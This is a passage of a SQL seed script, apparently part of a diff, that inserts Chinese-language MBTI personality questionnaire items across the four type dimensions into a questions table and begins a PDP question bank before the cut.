'您更喜欢的通讯方式是:', '[{\"value\":\"E\",\"text\":\"面对面交谈或视频通话\"},{\"value\":\"I\",\"text\":\"电子邮件或文字消息\"}]', 'EI', NULL, 18, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '当您遇到困难时,您更倾向于:', '[{\"value\":\"E\",\"text\":\"寻求他人的建议和支持\"},{\"value\":\"I\",\"text\":\"自己思考解决方案\"}]', 'EI', NULL, 19, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作环境是:', '[{\"value\":\"E\",\"text\":\"充满活力和互动的环境\"},{\"value\":\"I\",\"text\":\"安静和专注的环境\"}]', 'EI', NULL, 20, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"E\",\"text\":\"在多个社交圈中活跃\"},{\"value\":\"I\",\"text\":\"在一个小圈子中深入交往\"}]', 'EI', NULL, 21, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"E\",\"text\":\"参加大型社交活动\"},{\"value\":\"I\",\"text\":\"与一两个朋友进行深入交流\"}]', 'EI', NULL, 22, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"E\",\"text\":\"在公共场合表达自己的想法\"},{\"value\":\"I\",\"text\":\"在私下或小范围内分享想法\"}]', 'EI', NULL, 23, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '当面对新信息时,您更倾向于:', '[{\"value\":\"S\",\"text\":\"关注具体细节和事实\"},{\"value\":\"N\",\"text\":\"寻找模式和可能性\"}]', 'SN', NULL, 24, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更相信:', '[{\"value\":\"S\",\"text\":\"实际经验和直接观察\"},{\"value\":\"N\",\"text\":\"直觉和想象力\"}]', 'SN', NULL, 25, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢处理:', '[{\"value\":\"S\",\"text\":\"已知的、确定的信息\"},{\"value\":\"N\",\"text\":\"理论性的、抽象的概念\"}]', 'SN', NULL, 26, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在解决问题时,您更倾向于:', '[{\"value\":\"S\",\"text\":\"使用已证实有效的方法\"},{\"value\":\"N\",\"text\":\"尝试创新的解决方案\"}]', 'SN', NULL, 27, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更关注:', '[{\"value\":\"S\",\"text\":\"当下的现实和实际情况\"},{\"value\":\"N\",\"text\":\"未来的可能性和潜在发展\"}]', 'SN', NULL, 28, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作类型是:', '[{\"value\":\"S\",\"text\":\"有明确指导和具体步骤的工作\"},{\"value\":\"N\",\"text\":\"允许创新和探索的工作\"}]', 'SN', NULL, 29, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"S\",\"text\":\"关注实际和现实的细节\"},{\"value\":\"N\",\"text\":\"思考概念和理论\"}]', 'SN', NULL, 30, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的书籍或电影是:', '[{\"value\":\"S\",\"text\":\"基于现实的故事或纪实作品\"},{\"value\":\"N\",\"text\":\"科幻、奇幻或充满想象力的作品\"}]', 'SN', NULL, 31, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在学习新技能时,您更倾向于:', '[{\"value\":\"S\",\"text\":\"按部就班地学习,掌握每个具体步骤\"},{\"value\":\"N\",\"text\":\"先了解整体概念,然后填补细节\"}]', 'SN', NULL, 32, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作环境是:', '[{\"value\":\"S\",\"text\":\"有明确结构和规则的环境\"},{\"value\":\"N\",\"text\":\"灵活多变,鼓励创新的环境\"}]', 'SN', NULL, 33, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"S\",\"text\":\"关注现实和实际问题\"},{\"value\":\"N\",\"text\":\"思考未来和可能性\"}]', 'SN', NULL, 34, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在描述事物时,您更倾向于:', '[{\"value\":\"S\",\"text\":\"提供具体细节和精确描述\"},{\"value\":\"N\",\"text\":\"使用比喻和隐喻,强调整体印象\"}]', 'SN', NULL, 35, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作任务是:', '[{\"value\":\"S\",\"text\":\"需要精确和注重细节的任务\"},{\"value\":\"N\",\"text\":\"需要创造力和想象力的任务\"}]', 'SN', NULL, 36, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更相信:', '[{\"value\":\"S\",\"text\":\"亲眼所见和实际经验\"},{\"value\":\"N\",\"text\":\"直觉和内在感受\"}]', 'SN', NULL, 37, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在讨论问题时,您更关注:', '[{\"value\":\"S\",\"text\":\"具体事实和实际例子\"},{\"value\":\"N\",\"text\":\"概念和理论框架\"}]', 'SN', NULL, 38, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的学习方式是:', '[{\"value\":\"S\",\"text\":\"通过实践和具体例子学习\"},{\"value\":\"N\",\"text\":\"通过理论和概念学习\"}]', 'SN', NULL, 39, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"S\",\"text\":\"关注现在和过去的经验\"},{\"value\":\"N\",\"text\":\"思考未来和可能发生的事情\"}]', 'SN', NULL, 40, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在解决问题时,您更依赖:', '[{\"value\":\"S\",\"text\":\"已经证明有效的方法和经验\"},{\"value\":\"N\",\"text\":\"创新的思路和直觉\"}]', 'SN', NULL, 41, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作是:', '[{\"value\":\"S\",\"text\":\"有明确目标和具体步骤的工作\"},{\"value\":\"N\",\"text\":\"允许探索和创新的工作\"}]', 'SN', NULL, 42, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"S\",\"text\":\"关注实际和现实的问题\"},{\"value\":\"N\",\"text\":\"思考抽象和理论性的问题\"}]', 'SN', NULL, 43, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"S\",\"text\":\"按照既定的方法和程序工作\"},{\"value\":\"N\",\"text\":\"尝试新的方法和创新的解决方案\"}]', 'SN', NULL, 44, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更关注:', '[{\"value\":\"S\",\"text\":\"实际的细节和具体的事实\"},{\"value\":\"N\",\"text\":\"整体的概念和潜在的可能性\"}]', 'SN', NULL, 45, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在做决定时,您通常会:', '[{\"value\":\"T\",\"text\":\"考虑逻辑和客观分析\"},{\"value\":\"F\",\"text\":\"考虑个人价值观和他人感受\"}]', 'TF', NULL, 46, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"公正客观地分析情况\"},{\"value\":\"F\",\"text\":\"考虑决定对人的影响\"}]', 'TF', NULL, 47, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在解决冲突时,您更关注:', '[{\"value\":\"T\",\"text\":\"找出问题的根本原因和逻辑解决方案\"},{\"value\":\"F\",\"text\":\"维护关系和照顾各方感受\"}]', 'TF', NULL, 48, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"直接指出问题,即使可能伤害他人感受\"},{\"value\":\"F\",\"text\":\"委婉表达,避免伤害他人感受\"}]', 'TF', NULL, 49, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在评估情况时,您更重视:', '[{\"value\":\"T\",\"text\":\"客观事实和逻辑分析\"},{\"value\":\"F\",\"text\":\"人际关系和价值观\"}]', 'TF', NULL, 50, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"保持客观,不受个人情感影响\"},{\"value\":\"F\",\"text\":\"考虑决定对他人的情感影响\"}]', 'TF', NULL, 51, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在团队中,您更关注:', '[{\"value\":\"T\",\"text\":\"任务的完成和效率\"},{\"value\":\"F\",\"text\":\"团队和谐和成员满意度\"}]', 'TF', NULL, 52, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"基于逻辑和事实做决定\"},{\"value\":\"F\",\"text\":\"基于价值观和个人信念做决定\"}]', 'TF', NULL, 53, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在给予反馈时,您更倾向于:', '[{\"value\":\"T\",\"text\":\"直接指出问题和改进方向\"},{\"value\":\"F\",\"text\":\"先肯定优点,再委婉提出建议\"}]', 'TF', NULL, 54, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更看重:', '[{\"value\":\"T\",\"text\":\"公平和一致性\"},{\"value\":\"F\",\"text\":\"同情和个人情况\"}]', 'TF', NULL, 55, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在工作中,您更重视:', '[{\"value\":\"T\",\"text\":\"效率和成果\"},{\"value\":\"F\",\"text\":\"团队合作和人际关系\"}]', 'TF', NULL, 56, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"客观分析问题,不受个人情感影响\"},{\"value\":\"F\",\"text\":\"考虑决定对人的影响和感受\"}]', 'TF', NULL, 57, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在处理冲突时,您更倾向于:', '[{\"value\":\"T\",\"text\":\"关注问题本身,寻求公正的解决方案\"},{\"value\":\"F\",\"text\":\"关注人际关系,寻求和谐的解决方案\"}]', 'TF', NULL, 58, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更看重:', '[{\"value\":\"T\",\"text\":\"真实和诚实,即使可能伤害感情\"},{\"value\":\"F\",\"text\":\"善良和体贴,避免伤害他人\"}]', 'TF', NULL, 59, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在评价他人时,您更倾向于:', '[{\"value\":\"T\",\"text\":\"客观评价其表现和能力\"},{\"value\":\"F\",\"text\":\"考虑其努力和意图\"}]', 'TF', NULL, 60, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"基于原则和规则做决定\"},{\"value\":\"F\",\"text\":\"基于具体情况和个人需求做决定\"}]', 'TF', NULL, 61, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在处理问题时,您更关注:', '[{\"value\":\"T\",\"text\":\"找出最有效的解决方案\"},{\"value\":\"F\",\"text\":\"确保所有人都感到被尊重和理解\"}]', 'TF', NULL, 62, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"保持客观和理性\"},{\"value\":\"F\",\"text\":\"表达同理心和关怀\"}]', 'TF', NULL, 63, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在做决定时,您更看重:', '[{\"value\":\"T\",\"text\":\"逻辑和一致性\"},{\"value\":\"F\",\"text\":\"价值观和人际和谐\"}]', 'TF', NULL, 64, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"分析问题,寻找最佳解决方案\"},{\"value\":\"F\",\"text\":\"理解他人感受,寻求共识\"}]', 'TF', NULL, 65, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在工作中,您更重视:', '[{\"value\":\"T\",\"text\":\"完成任务和达成目标\"},{\"value\":\"F\",\"text\":\"维护良好的工作关系\"}]', 'TF', NULL, 66, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"T\",\"text\":\"基于事实和数据做决定\"},{\"value\":\"F\",\"text\":\"考虑决定对人的影响\"}]', 'TF', NULL, 67, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"提前计划并按计划执行\"},{\"value\":\"P\",\"text\":\"保持灵活,根据情况调整\"}]', 'JP', NULL, 68, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"按时完成任务,避免拖延\"},{\"value\":\"P\",\"text\":\"在最后期限前完成任务,保持灵活性\"}]', 'JP', NULL, 69, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作环境是:', '[{\"value\":\"J\",\"text\":\"有明确的规则和结构\"},{\"value\":\"P\",\"text\":\"灵活多变,允许即兴发挥\"}]', 'JP', NULL, 70, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"制定详细的计划并遵循\"},{\"value\":\"P\",\"text\":\"根据情况随机应变\"}]', 'JP', NULL, 71, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"有条理和组织的生活方式\"},{\"value\":\"P\",\"text\":\"自然流动和灵活的生活方式\"}]', 'JP', NULL, 72, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在做决定时,您更倾向于:', '[{\"value\":\"J\",\"text\":\"尽快做出决定并执行\"},{\"value\":\"P\",\"text\":\"保持选项开放,等待更多信息\"}]', 'JP', NULL, 73, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"按照既定的时间表和计划行事\"},{\"value\":\"P\",\"text\":\"根据当下的情况和感受行事\"}]', 'JP', NULL, 74, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"完成一项任务后再开始下一项\"},{\"value\":\"P\",\"text\":\"同时处理多项任务,根据情况切换\"}]', 'JP', NULL, 75, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作方式是:', '[{\"value\":\"J\",\"text\":\"有明确的目标和截止日期\"},{\"value\":\"P\",\"text\":\"灵活的工作流程,可以随时调整\"}]', 'JP', NULL, 76, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"提前做决定,避免最后一刻的压力\"},{\"value\":\"P\",\"text\":\"保持选项开放,等待最佳时机\"}]', 'JP', NULL, 77, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您的工作区域通常是:', '[{\"value\":\"J\",\"text\":\"整洁有序,物品摆放有规律\"},{\"value\":\"P\",\"text\":\"创意性混乱,物品随手可及\"}]', 'JP', NULL, 78, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"按部就班地完成任务\"},{\"value\":\"P\",\"text\":\"在灵感来临时集中精力工作\"}]', 'JP', NULL, 79, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"有明确的规则和指导方针\"},{\"value\":\"P\",\"text\":\"灵活的环境,可以自由发挥\"}]', 'JP', NULL, 80, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"提前计划假期和活动\"},{\"value\":\"P\",\"text\":\"即兴决定和安排活动\"}]', 'JP', NULL, 81, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"有明确的日程安排\"},{\"value\":\"P\",\"text\":\"根据当天的情况决定\"}]', 'JP', NULL, 82, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"按照计划行事,避免意外\"},{\"value\":\"P\",\"text\":\"适应变化,享受意外惊喜\"}]', 'JP', NULL, 83, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的生活方式是:', '[{\"value\":\"J\",\"text\":\"有规律和可预测的\"},{\"value\":\"P\",\"text\":\"自然流动和多变的\"}]', 'JP', NULL, 84, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"提前做好准备,避免匆忙\"},{\"value\":\"P\",\"text\":\"在最后一刻完成准备,保持灵活性\"}]', 'JP', NULL, 85, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"明确的指导和方向\"},{\"value\":\"P\",\"text\":\"探索不同的可能性\"}]', 'JP', NULL, 86, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"按照既定的程序和方法工作\"},{\"value\":\"P\",\"text\":\"根据情况调整工作方法\"}]', 'JP', NULL, 87, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"J\",\"text\":\"有明确的目标和计划\"},{\"value\":\"P\",\"text\":\"保持开放的态度,随机应变\"}]', 'JP', NULL, 88, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"J\",\"text\":\"做决定并坚持执行\"},{\"value\":\"P\",\"text\":\"保持灵活,根据新信息调整\"}]', 'JP', NULL, 89, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作环境是:', '[{\"value\":\"J\",\"text\":\"有明确的期望和截止日期\"},{\"value\":\"P\",\"text\":\"灵活的工作流程和时间安排\"}]', 'JP', NULL, 90, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); + +-- pdp 题库数据 +-- enterpriseId: NULL (超管题库) + +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('pdp', '面对紧急任务,您的第一反应是:', 